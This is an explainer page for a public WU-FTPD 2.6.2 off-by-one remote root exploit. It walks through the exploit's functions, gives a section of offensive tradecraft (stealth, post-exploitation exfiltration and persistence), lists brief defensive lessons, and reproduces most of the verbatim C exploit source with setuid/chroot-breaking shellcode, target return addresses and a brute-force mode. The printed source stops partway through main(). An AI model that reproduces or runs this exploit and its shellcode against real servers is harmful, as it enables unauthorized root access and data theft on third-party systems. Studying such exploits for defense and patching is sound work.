WU-FTPD 2.6.2 Off-by-One Remote Command Execution Explained

WU-FTPD 2.6.2 Off-by-One Remote Command Execution Explained
What this paper is
This paper details a remote command execution vulnerability in the WU-FTPD server, specifically version 2.6.2. The exploit leverages an "off-by-one" error in how the FTP server handles directory creation and manipulation commands. By carefully crafting a directory name that is one byte too long, the exploit can overwrite critical memory locations, leading to the execution of arbitrary shellcode. The exploit also includes a brute-force mode to automatically find a working shellcode address.
Simple technical breakdown
The core of the vulnerability lies in the MKD (Make Directory) command. When the WU-FTPD server processes a MKD command, it allocates a buffer to store the directory name. If the provided directory name is slightly longer than expected (an "off-by-one" error), it can overflow this buffer.
The exploit crafts a long string of characters (e.g., 'A's) followed by the shellcode and then a return address. When the server attempts to create this directory, the overflow overwrites the return address on the stack with the address of the shellcode.
After the overflow, the exploit uses the CWD (Change Directory) command to trigger the execution of the shellcode. The server, expecting to return from the MKD operation, instead jumps to the overwritten return address, executing the attacker-controlled shellcode.
The exploit also includes a brute-force mechanism. Since the exact memory layout and shellcode address can vary, the brute-force mode systematically tries different addresses until it finds one that works, allowing for successful exploitation without prior knowledge of the target's memory.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
Header Files and Definitions:
#include <stdio.h>: Standard input/output functions.#include <unistd.h>: POSIX operating system API (e.g.,sleep,close,read,write).#include <stdlib.h>: Standard library functions (e.g.,exit,atoi,strtoul).#include <netdb.h>: Network database functions (e.g.,gethostbyname).#include <netinet/in.h>: Internet address family structures.#include <sys/socket.h>: Socket programming functions.#define VERSION "v0.0.3": Defines the exploit version.#define DEBUG_NG,#undef DEBUG_NG: Debugging flags, currently disabled.#define NRL 0,#define SCS 1,#define FAD (-1): Constants for numerical values (e.g., 0, 1, -1) for readability.#define MAX_BF (16): Maximum number of attempts in brute-force mode.#define BF_LSZ (0x100) /* 256 */: Size increment for brute-force address stepping.#define DEF_VA 255: Default buffer size or value.#define DEF_PORT 21: Default FTP port.#define DEF_ANSH 11: Seems to be related to buffer sizing or padding.#define GET_HOST_NM_ERR (NULL): Error return forgethostbyname.#define SIN_ZR_SIZE 8: Size ofsin_zeroinsockaddr_in.#define DEF_ALIGN 4: Alignment value, likely for word boundaries.#define GET_R 5000: A large buffer size for receiving data.#define DEF_NOP 64: Number of NOP (No Operation) instructions to pad.#define DEF_STR "x0x": A placeholder string.#define HOME_DIR "/home/": Prefix for user home directories.#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\"; uname -a;id;export TERM=vt100;exec bash -i\n": The default command to execute for a reverse shell. It prints a message, shows system info, sets the terminal type, and then starts an interactive bash shell.FTP response codes (
FTP_CONN_SCS,FTP_USER_FAD, etc.): Define expected FTP server responses for login and command execution.
Shellcode:
char shellcode_ffx2[] = ...: This is the actual shellcode. It's a sequence of bytes designed to be executed by the target system. Based on the comment "setuid/chroot-break/execve shellcode by Lam3rZ", this shellcode likely aims to:- Gain root privileges (
setuid). - Break out of any chroot jail.
- Execute a command, in this case, likely the
bash -icommand specified inDEF_COMM. - The
0xffcomment suggests that the shellcode might have been designed to avoid null bytes or specific byte sequences that could terminate string operations prematurely.
- Gain root privileges (
Platform Definitions:
struct os plat[] = { ... }: This structure defines known vulnerable configurations and their corresponding shellcode addresses.num: An identifier for the target OS/FTP version.v_nm: A descriptive string for the target.sh_addr: The predicted address where the shellcode should be placed in memory for that specific target.{0x82, NULL, 0x0}and{0x8282, "Brute-Force mode", 0x0806a082}: These entries are special.0x82is likely a placeholder or an indicator for a specific mode. "Brute-Force mode" indicates the starting address for the brute-force search.
Functions:
void prcode_usage(char *f_nm):- Purpose: Prints the usage instructions and available options for the exploit.
- Inputs:
f_nm(the name of the exploit executable). - Behavior: Displays command-line arguments, target options, and example usage. It then lists the predefined targets from the
platarray. - Output: Prints to
stdoutand exits the program.
u_long null_chk(u_long sh_addr):- Purpose: Checks if the least significant byte of a given address is a null byte (
0x00). If it is, it increments the address by 1. - Inputs:
sh_addr(the shellcode address to check). - Behavior: This is a crucial function for shellcode that might contain null bytes, which can prematurely terminate string operations in C. By ensuring the address doesn't end in a null byte, it increases the chances of the address being correctly interpreted.
- Output: Returns the potentially adjusted shellcode address.
- Purpose: Checks if the least significant byte of a given address is a null byte (
void ftpd_login(int sock, char *user, char *pass):- Purpose: Handles the FTP login process.
- Inputs:
sock(the socket descriptor),user(username),pass(password). - Behavior:
- Waits briefly.
- Receives the initial FTP banner. Checks if it starts with
220(connection established). - Sends the
USERcommand. - Receives the response. Checks if it starts with
331(username OK, password required). - Sends the
PASScommand. - Receives the response. Checks for
530 Login incorrect.(failure) or230 Login successful.
- Output: Logs the login process and exits on failure.
int mkd_cwd_f(int sock, int type, char *dir_nm, int gb_character):- Purpose: Sends either a
MKD(Make Directory) orRMD(Remove Directory) command, followed by aCWD(Change Directory) command. This function is used to create directories with specific characters or to clean up. - Inputs:
sock: The socket descriptor.type: If1(true), sendsMKD. If0(false), sendsRMD.dir_nm: A buffer to construct the command.gb_character: The character to use for creating the directory name (e.g.,0x41for 'A').
- Behavior:
- Constructs the
MKDorRMDcommand. ForMKD, it fills the directory name withgb_characterup toDEF_VA(255) bytes, plus some padding, and appends\r\n. - If
typeis true, it sends theMKDcommand, waits, and receives the response. It checks for257(directory created) or521(directory already exists). - Constructs the
CWDcommand. - Sends the
CWDcommand, waits, and receives the response. It checks for250(directory changed).
- Constructs the
- Output: Returns on success, exits on failure.
- Purpose: Sends either a
int send_shellcode(int sock, int type, char *dir_nm):- Purpose: Creates a directory containing the shellcode. This is a specialized version of
mkd_cwd_f. - Inputs:
sock: The socket descriptor.type: If1(true), sendsMKD. If0(false), sendsRMD.dir_nm: A buffer to construct the command.
- Behavior:
- Constructs a
MKDcommand. - Pads the directory name with
DEF_NOP(64) bytes. - Appends the
shellcode_ffx2bytes. - Appends
\r\n. - If
typeis true, sends theMKDcommand, waits, and checks the response. - Constructs and sends a
CWDcommand to change into the newly created shellcode directory.
- Constructs a
- Output: Returns on success, exits on failure.
- Purpose: Creates a directory containing the shellcode. This is a specialized version of
void make_send_exploit(int sock, int type, u_long sh_addr, int d_type):- Purpose: Orchestrates the exploit by creating a series of directories, including one for the shellcode, and then triggering the overflow.
- Inputs:
sock: The socket descriptor.type: Controls whetherMKDorRMDis used inmake_retloc.sh_addr: The target address for the shellcode.d_type: Controls whetherMKDorRMDis used inmkd_cwd_f.
- Behavior:
- Calls
mkd_cwd_fmultiple times to create directories named0x41414141('AAAA'),0x43434343('CCCC'), etc., up to0x55555555('UUUU'). These are likely padding or part of the overflow chain. - Calls
send_shellcodeto create a directory that contains the shellcode. - Calls
make_retlocto perform the final overflow and overwrite the return address.
- Calls
- Output: Executes the sequence of commands.
int make_retloc(int sock, int type, char *atk_bf, u_long sh_addr):- Purpose: This is the core of the "off-by-one" overflow. It constructs the final payload that overwrites the return address.
- Inputs:
sock: The socket descriptor.type: Determines ifMKDorRMDis used.atk_bf: A buffer for the exploit string.sh_addr: The target shellcode address.
- Behavior:
- Constructs either an
MKDorRMDcommand. - Appends a large number of 'A' characters (
0x41) as padding. The length of this padding is calculated to reach the desired overwrite point. It'sDEF_VA(255) minus the length ofhome_dirandDEF_ANSH(11). This suggests the overflow happens within a buffer related to the home directory path or a similar structure. - Writes the
sh_addrtwice into the buffer. This is likely to overwrite both the return address and potentially a saved frame pointer or other critical stack data. - Appends more 'A' characters for further padding.
- Appends
\r\nto terminate the command. - Sends the crafted command.
- Waits and receives the server's response, checking for success (
MKD 257orRMD 250).
- Constructs either an
- Output: Sends the exploit payload, returns on success, exits on failure.
int setsock(char *u_host, int u_port):- Purpose: Establishes a TCP socket connection to the target host and port.
- Inputs:
u_host(hostname or IP),u_port(port number). - Behavior:
- Resolves the hostname using
gethostbyname. - Creates a TCP socket.
- Configures the
sockaddr_instructure with the target IP and port. - Connects to the target.
- Resolves the hostname using
- Output: Returns the socket descriptor on success, or
FAD(-1) on failure.
void conn_shell(int conn_sock):- Purpose: Handles the interactive shell session after successful exploitation.
- Inputs:
conn_sock(the connected socket). - Behavior:
- Sends the default command (
DEF_COMM) to initiate the reverse shell. - Enters a loop to manage input and output between the local terminal and the remote shell.
- Uses
selectto monitor both the socket and standard input. - If data arrives on the socket, it reads and prints it to the console.
- If data is entered on the console, it reads it and sends it to the socket.
- Handles an "exit" command to terminate the shell session.
- Sends the default command (
- Output: Provides an interactive shell.
void re_connt(int st_sock_va):- Purpose: A simple helper function to check if a socket connection was successful.
- Inputs:
st_sock_va(the socket descriptor). - Behavior: If the socket descriptor is
FAD(-1), it prints an error and exits. - Output: Exits on failure.
void banrl():- Purpose: Prints a banner message at the start of the exploit.
- Behavior: Displays a welcome message.
int main(int argc, char *argv[]):- Purpose: The main entry point of the exploit. Parses arguments, sets up the target, and initiates the exploit process.
- Inputs:
argc(argument count),argv(argument values). - Behavior:
- Calls
banrl(). - Parses command-line arguments using
getoptfor hostname, username, password, port, shellcode address, target type, and brute-force mode. - Validates that username and password are provided.
- Constructs the
home_dirstring. - If not in brute-force mode (
!__bf):- Sets up the target information.
- Connects to the FTP server.
- Logs in using
ftpd_login. - Calls
make_send_exploitfor the first time withtype=SCS(MKD). - Reconnects.
- Logs in again.
- Calls
make_send_exploitfor the second time withtype=NRL(RMD). This second call is crucial as it usesRMDinmake_retloc, which is likely the command that triggers the overflow and execution. - Waits for the shell to become available.
- Calls
conn_shellto establish the interactive session.
- If in brute-force mode (
__bf):- Sets
t_gto4andsh_addrtoplat[4].sh_addr(the brute-force starting address). - Loops
mx_bftimes:- Calls
null_chkto adjust thesh_addrif it contains null bytes. - Connects to the FTP server.
- Logs in.
- Calls
make_send_exploit(usingMKDfor the first attempt,RMDfor subsequent attempts). - Reconnects.
- Logs in.
- Calls
make_send_exploitagain (usingRMD). - Waits for the shell.
- Calls
conn_shell. - Increments
sh_addrbybf_lszfor the next iteration.
- Calls
- Sets
- Calls
- Output: Executes the exploit or enters brute-force mode. Exits cleanly.
Code Fragment/Block -> Practical Purpose Mapping:
char shellcode_ffx2[]: The actual shellcode to be executed on the target.struct os plat[]: Predefined targets with known shellcode addresses, aiding in direct exploitation.prcode_usage(): Provides help and lists targets, essential for understanding exploit parameters.null_chk(): Mitigates issues with shellcode addresses containing null bytes, improving reliability.ftpd_login(): Handles the necessary authentication to interact with the FTP server.mkd_cwd_f(): Creates directories and changes the current directory, used for setup and cleanup.send_shellcode(): Creates a directory specifically to house the shellcode.make_retloc(): The core of the exploit; constructs the overflow payload to overwrite the return address.make_send_exploit(): Orchestrates the sequence of directory operations leading to the overflow.setsock(): Establishes the network connection to the target FTP server.conn_shell(): Provides the interactive reverse shell after successful exploitation.main(): Parses arguments, selects the exploit path (direct or brute-force), and drives the entire process.getopt(): Standard C function for parsing command-line options.snprintf(): Safely formats strings into buffers.send(),recv(): Standard socket functions for network communication.sleep(): Introduces delays, often used to allow the server to process commands.memset(): Initializes memory buffers.strstr(): Searches for a substring within a string, used for checking FTP responses.bzero(): Zeroes out a memory buffer.socket(),connect(): Core socket API functions.FD_ZERO(),FD_SET(),select(): Used inconn_shellfor multiplexing I/O operations.
Practical details for offensive operations teams
- Required Access Level: Network access to the target FTP server on port 21 (or a custom port). No prior authentication on the FTP server is strictly required, as the exploit handles the login itself. However, valid credentials are required for the exploit to proceed.
- Lab Preconditions:
- A vulnerable WU-FTPD server (version 2.6.2 or a similar vulnerable version) running on a Linux-based system.
- Network connectivity between the attacker machine and the target FTP server.
- The exploit code compiled on a compatible system (likely Linux).
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit.
- Standard networking tools for reconnaissance (e.g.,
nmapto identify FTP services and versions). - The exploit code itself.
- Execution Pitfalls:
- Incorrect Target Address: The
sh_addris critical. If the target system's memory layout differs from the predefined addresses inplat[], the exploit will fail. The brute-force mode is designed to mitigate this. - Network Latency/Packet Loss: The
sleep()calls are used to synchronize with the FTP server. High latency or packet loss could cause these timings to be off, leading to failed commands or unexpected server responses. - Firewalls/Intrusion Detection Systems (IDS): Network firewalls might block the initial FTP connection or the subsequent reverse shell connection. IDS might detect the unusual sequence of FTP commands or the shellcode itself.
- FTP Server Configuration: Some FTP server configurations might have security measures that prevent the creation of directories with unusual names or the execution of commands.
- Shellcode Compatibility: The provided shellcode is for a specific architecture (likely x86 Linux). If the target is different, the shellcode would need to be re-generated.
- Brute-Force Inefficiency: The brute-force mode can be slow and noisy, potentially triggering alerts. The
BF_LSZ(256) might be too large or too small depending on the target's memory. - "Off-by-One" Nuance: The exact offset for the "off-by-one" vulnerability might vary slightly between minor patch levels or configurations of WU-FTPD, even within the 2.6.x series.
- Incorrect Target Address: The
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, confirm the FTP service is running and ideally identify the exact version. Tools like
nmapwith theftp-anonandftp-vuln-cve*scripts can be helpful. - Stealth: The exploit is relatively noisy due to the extensive FTP commands and the nature of the reverse shell. For stealthier operations, consider:
- Using a custom shellcode that establishes a more covert channel.
- Modifying the
DEF_COMMto avoid obvious commands likeuname -aorid. - Reducing or eliminating
sleep()calls if network conditions allow, but this increases risk. - Using a proxy or pivot if direct access is not feasible or desirable.
- Post-Exploitation: Once a shell is obtained, the immediate next steps would involve privilege escalation, data exfiltration, or establishing persistence.
- Target Selection: Focus on systems running older, unpatched versions of WU-FTPD.
- Payload Delivery: The exploit delivers a reverse shell. For more controlled command execution, a bind shell could be considered, though it's often harder to establish through firewalls.
- Error Handling: The exploit's error handling is basic (exiting on failure). In a real engagement, operators might want more granular error reporting or retry mechanisms.
- Reconnaissance: Before running the exploit, confirm the FTP service is running and ideally identify the exact version. Tools like
Where this was used and when
- Discovery/Publication: The exploit was published on Exploit-DB on August 3, 2003, by "Xpl017Elz".
- Usage Context: This exploit targets a specific vulnerability in WU-FTPD, a popular FTP server software used in the late 1990s and early 2000s. It would have been used against systems running this vulnerable version of WU-FTPD. Given its publication date, it was likely actively used in the early to mid-2000s by attackers targeting vulnerable internet-facing servers. It's highly unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management is Crucial: This exploit highlights the critical importance of keeping software, especially network-facing services like FTP servers, up-to-date. Vulnerabilities like buffer overflows are common in older software.
- Network Segmentation and Firewalls: Limiting direct internet access to FTP servers and restricting inbound/outbound connections to only necessary ports and IPs can significantly reduce the attack surface.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect anomalous FTP command sequences, suspicious payloads, and the establishment of reverse shells. Signature-based detection for known exploits and behavioral analysis are key.
- Secure Coding Practices: Developers must be aware of common vulnerabilities like buffer overflows, integer overflows, and null-byte issues. Thorough code reviews and static/dynamic analysis tools are essential.
- Principle of Least Privilege: Even if an FTP server is compromised, running it with minimal privileges can limit the impact of a successful exploit. The shellcode's ability to
setuidto root is a major concern. - Regular Auditing and Vulnerability Scanning: Proactively scanning networks for vulnerable software versions and misconfigurations is vital.
- FTP Protocol Security: For sensitive data transfer, consider using more secure protocols like SFTP (SSH File Transfer Protocol) or FTPS (FTP over SSL/TLS) instead of plain FTP.
ASCII visual (if applicable)
This exploit's flow is primarily sequential network communication and memory manipulation. A simple ASCII diagram can illustrate the core interaction:
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Target WU-FTPD | ----> | Target OS Stack |
| (Exploit Code) | | (v2.6.2) | | (Overwrite Ret) |
+-----------------+ +-----------------+ +-----------------+
^ | |
| | |
| v |
| +-----------------+ |
| | FTP Commands |-------------+
| | (MKD, CWD, RMD) |
| +-----------------+
| |
| v
| +-----------------+
+---------------| Shellcode Exec. |
+-----------------+Explanation:
- The attacker's machine runs the exploit code.
- The exploit establishes a connection to the target WU-FTPD server.
- It sends a series of FTP commands (
MKD,CWD,RMD). - One of these commands, crafted to exploit the "off-by-one" vulnerability, causes a buffer overflow on the target's stack.
- This overflow overwrites the return address with the address of the shellcode.
- When the server attempts to return from the vulnerable function, it jumps to the shellcode.
- The shellcode executes, typically establishing a reverse shell back to the attacker.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/74
- Raw Exploit Code: https://www.exploit-db.com/raw/74
Original Exploit-DB Content (Verbatim)
/*
**
** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
**
** exploit by "you dong-hun"(Xpl017Elz)
**
** Brute-Force function added.
**
*/
#define VERSION "v0.0.3"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH 11
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR "/home/"
#define DEF_HOST "localhost"
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec bash -i\n"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"
void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();
struct os
{
int num;
char *v_nm;
u_long sh_addr;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char shellcode_ffx2[]=
/* setuid/chroot-break/execve shellcode by Lam3rZ */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
"\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
"\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
"\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
"\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
"\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
"\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
"\x2e\x2e\x31\x31";
struct os plat[]=
{
/*
** I enjoy version up, will not share more. :-}
*/
{
0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c
},
{
1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8
},
{
2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60
},
{
0x82,NULL,0x0
},
{
0x8282,"Brute-Force mode",0x0806a082
}
};
void prcode_usage(char *f_nm)
{
int r_n=(NRL);
fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n");
fprintf(stdout," \t-u [userid] : User id.\n");
fprintf(stdout," \t-p [passwd] : User password.\n");
fprintf(stdout," \t-n [port num] : Target port number.\n");
fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n");
fprintf(stdout," \t-b : Brute-Force mode.\n");
fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n");
fprintf(stdout," \t-i : help information.\n");
fprintf(stdout," \t-t [target num] : Select target number.\n\n");
for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
{
fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
}
fprintf(stdout,"\n Example: %s -hlocalhost -ux82 -px82 -n21 -t0\n\n",f_nm);
exit(FAD);
}
u_long null_chk(u_long sh_addr)
{
if((sh_addr>>(NRL)&0xff)==(0x00))
{
return(sh_addr+=(SCS));
}
else return(sh_addr);
}
void ftpd_login(int sock,char *user,char *pass)
{
char send_recv[(GET_R)];
(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
if(!strstr(send_recv,(FTP_CONN_SCS)))
{
fprintf(stdout," [-] ftpd connection failure.\n\n");
close(sock);
exit(FAD);
}
else fprintf(stdout," [*] ftpd connection success.\n");
fprintf(stdout," [+] User id input.\n");
memset((char *)send_recv,(NRL),sizeof(send_recv));
snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
send(sock,send_recv,strlen(send_recv),(NRL));
(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
if(!strstr(send_recv,(FTP_USER_FAD)))
{
fprintf(stdout," [-] User id input failure.\n\n");
close(sock);
exit(FAD);
}
else fprintf(stdout," [+] User password input.\n");
memset((char *)send_recv,(NRL),sizeof(send_recv));
snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
send(sock,send_recv,strlen(send_recv),(NRL));
(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
if(strstr(send_recv,(FTP_LOGIN_FAD)))
{
fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
close(sock);
exit(FAD);
}
else if(strstr(send_recv,(FTP_LOGIN_SCS)))
{
fprintf(stdout," [*] User %s logged in.\n",user);
}
else
{
fprintf(stdout," [-] ftpd handshake failure.\n\n");
close(sock);
exit(FAD);
}
return;
}
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
{
int dr_n=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];
memset((char *)dir_nm,(NRL),(GET_R));
/* MKD command */
dir_nm[cmd_f++]=(0x4d);
dir_nm[cmd_f++]=(0x4b);
dir_nm[cmd_f++]=(0x44);
dir_nm[cmd_f++]=(0x20);
for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
{
dir_nm[dr_n]=(gb_character);
}
dir_nm[dr_n++]=(0x0d);
dir_nm[dr_n++]=(0x0a);
if(type)
{
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD command failed.\n\n");
exit(FAD);
}
}
/* CMD command */
cmd_f=(NRL);
dir_nm[cmd_f++]=(0x43);
dir_nm[cmd_f++]=(0x57);
dir_nm[cmd_f++]=(0x44);
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] CWD command failed.\n\n");
exit(FAD);
}
return;
}
int send_shellcode(int sock,int type,char *dir_nm)
{
int dr_n=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];
memset((char *)dir_nm,(NRL),(GET_R));
/* MKD command */
dir_nm[cmd_f++]=(0x4d);
dir_nm[cmd_f++]=(0x4b);
dir_nm[cmd_f++]=(0x44);
dir_nm[cmd_f++]=(0x20);
for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(shellcode_ffx2);dr_n++)
{
dir_nm[dr_n]=(DEF_NOP);
}
for(cmd_f=(NRL);cmd_f<strlen(shellcode_ffx2);cmd_f++)
{
dir_nm[dr_n++]=shellcode_ffx2[cmd_f];
}
dir_nm[dr_n++]=(0x0d);
dir_nm[dr_n++]=(0x0a);
if(type)
{
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
exit(FAD);
}
}
/* CMD command */
cmd_f=(NRL);
dir_nm[cmd_f++]=(0x43);
dir_nm[cmd_f++]=(0x57);
dir_nm[cmd_f++]=(0x44);
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,(GET_R)-1,(NRL));
if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
exit(FAD);
}
return;
}
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
{
char atk_bf[(GET_R)];
{
fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */
fprintf(stdout," [+] 02: make shell-code directory.\n");
(int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */
fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */
fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44)); /* 04 */
fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45)); /* 05 */
fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46)); /* 06 */
fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47)); /* 07 */
fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48)); /* 08 */
fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49)); /* 09 */
fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50)); /* 10 */
fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51)); /* 11 */
fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52)); /* 12 */
fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53)); /* 13 */
fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54)); /* 14 */
fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55)); /* 15 */
(int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */
}
return;
}
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
{
int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];
memset((char *)atk_bf,(NRL),(GET_R));
if(type) /* MKD command */
{
atk_bf[cmd_f++]=(0x4d);
atk_bf[cmd_f++]=(0x4b);
atk_bf[cmd_f++]=(0x44);
atk_bf[cmd_f++]=(0x20);
}
else /* RMD command */
{
atk_bf[cmd_f++]=(0x52);
atk_bf[cmd_f++]=(0x4d);
atk_bf[cmd_f++]=(0x44);
atk_bf[cmd_f++]=(0x20);
}
for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(DEF_ANSH);r_rn_2++)
atk_bf[r_rn_1++]=(0x41);
{
*(long *)&atk_bf[r_rn_1]=(sh_addr);
r_rn_1+=(DEF_ALIGN);
*(long *)&atk_bf[r_rn_1]=(sh_addr);
r_rn_1+=(DEF_ALIGN);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x0d);
atk_bf[r_rn_1++]=(0x0a);
}
send(sock,atk_bf,strlen(atk_bf),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
if(type) /* MKD command */
{
if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
exit(FAD);
}
else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
}
else /* RMD command */
{
if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
exit(FAD);
}
else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
}
return;
}
int main(int argc,char *argv[])
{
int opt_g,sock,__bf=(NRL);
int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
char user_id[(DEF_VA)]=(DEF_STR);
char pass_wd[(DEF_VA)]=(DEF_STR);
